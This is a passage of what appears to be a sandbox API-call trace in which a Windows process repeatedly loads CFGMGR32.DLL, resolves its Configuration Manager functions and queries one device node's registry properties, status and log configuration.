[0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.453] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.454] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.455] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.455] malloc (_Size=0x18) returned 0x20abc281fa0 [0225.455] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x3, pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8, ulFlags=0x0 | out: pulRegDataType=0x2dc22fd360, Buffer=0x0, pulLength=0x2dc22fd3f8) returned 0x25 [0225.456] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.456] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd2c0 | out: lpSystemTimeAsFileTime=0x2dc22fd2c0*(dwLowDateTime=0x422685f3, dwHighDateTime=0x1d9eb0c)) [0225.456] SetEvent (hEvent=0x248) returned 1 [0225.612] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.612] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.613] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.614] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.615] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.616] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.616] malloc (_Size=0x18) returned 0x20abc281c40 [0225.617] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0xc, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.623] malloc (_Size=0x48) returned 0x20abc27cf80 [0225.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x423e6c04, dwHighDateTime=0x1d9eb0c)) [0225.623] SetEvent (hEvent=0x248) returned 1 [0225.629] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.629] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.630] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.631] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.632] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.635] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.636] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.636] malloc (_Size=0x18) returned 0x20abc281c40 [0225.636] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x9, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.637] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.637] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x4240e477, dwHighDateTime=0x1d9eb0c)) [0225.637] SetEvent (hEvent=0x248) returned 1 [0225.642] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.642] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.643] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.644] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.645] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.646] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.646] malloc (_Size=0x18) returned 0x20abc281de0 [0225.647] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x8, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.647] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.647] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x42431faf, dwHighDateTime=0x1d9eb0c)) [0225.648] SetEvent (hEvent=0x248) returned 1 [0225.653] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.653] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.653] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.654] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.655] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.656] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.657] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.657] malloc (_Size=0x18) returned 0x20abc281a00 [0225.658] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x5, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x25 [0225.658] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.658] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x424582fd, dwHighDateTime=0x1d9eb0c)) [0225.659] SetEvent (hEvent=0x248) returned 1 [0225.722] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.722] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.722] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.723] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.724] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.725] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.726] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.726] malloc (_Size=0x18) returned 0x20abc281d60 [0225.726] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xa, ulProperty=0x1, pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74, ulFlags=0x0 | out: pulRegDataType=0x2dc22fcb70, Buffer=0x2dc22fcb80, pulLength=0x2dc22fcb74) returned 0x0 [0225.730] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.730] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fcb30 | out: lpSystemTimeAsFileTime=0x2dc22fcb30*(dwLowDateTime=0x424f0d52, dwHighDateTime=0x1d9eb0c)) [0225.731] SetEvent (hEvent=0x248) returned 1 [0225.735] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.735] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.735] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.736] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.737] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.738] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.739] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.740] malloc (_Size=0x18) returned 0x20abc281b80 [0225.740] CM_Get_DevNode_Status (in: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0, dnDevInst=0xa, ulFlags=0x0 | out: pulStatus=0x2dc22fd3f8, pulProblemNumber=0x2dc22fd3a0) returned 0x0 [0225.740] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd320 | out: lpSystemTimeAsFileTime=0x2dc22fd320*(dwLowDateTime=0x4251eeba, dwHighDateTime=0x1d9eb0c)) [0225.741] SetEvent (hEvent=0x248) returned 1 [0225.747] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.747] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.747] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.748] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.749] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffb1cef1400 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffb1cedcd50 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffb1cef46e0 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Parent") returned 0x7ffb1cedd000 [0225.750] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffb1ced2570 [0225.751] malloc (_Size=0x18) returned 0x20abc281fc0 [0225.751] CM_Get_First_Log_Conf (in: plcLogConf=0x2dc22fd3e8, dnDevInst=0xa, ulFlags=0x4 | out: plcLogConf=0x2dc22fd3e8) returned 0xe [0225.752] malloc (_Size=0x48) returned 0x20abc27cb20 [0225.752] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2dc22fd340 | out: lpSystemTimeAsFileTime=0x2dc22fd340*(dwLowDateTime=0x4253d509, dwHighDateTime=0x1d9eb0c)) [0225.752] SetEvent (hEvent=0x248) returned 1 [0225.757] malloc (_Size=0xd8) returned 0x20abc284e70 [0225.757] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffb1ced0000 [0225.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Connect_MachineA") returned 0x7ffb1ceed2c0 [0225.757] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffb1ceed3b0 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffb1ced9760 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Enable_DevNode") returned 0x7ffb1ceee9f0 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Disable_DevNode") returned 0x7ffb1ceee8a0 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffb1ceda490 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffb1cedacf0 [0225.758] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffb1cef5260 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Child") returned 0x7ffb1cede670 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Sibling") returned 0x7ffb1cee1650 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffb1ced91c0 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffb1cedd410 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffb1cee2180 [0225.759] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffb1cef14b0 [0225.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffb1cef16a0 [0225.760] GetProcAddress (hModule=0x7ffb1ced0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffb1ceedfb0 [0225.760] GetProcAddress (hModule=0x7ffb1ced0000, 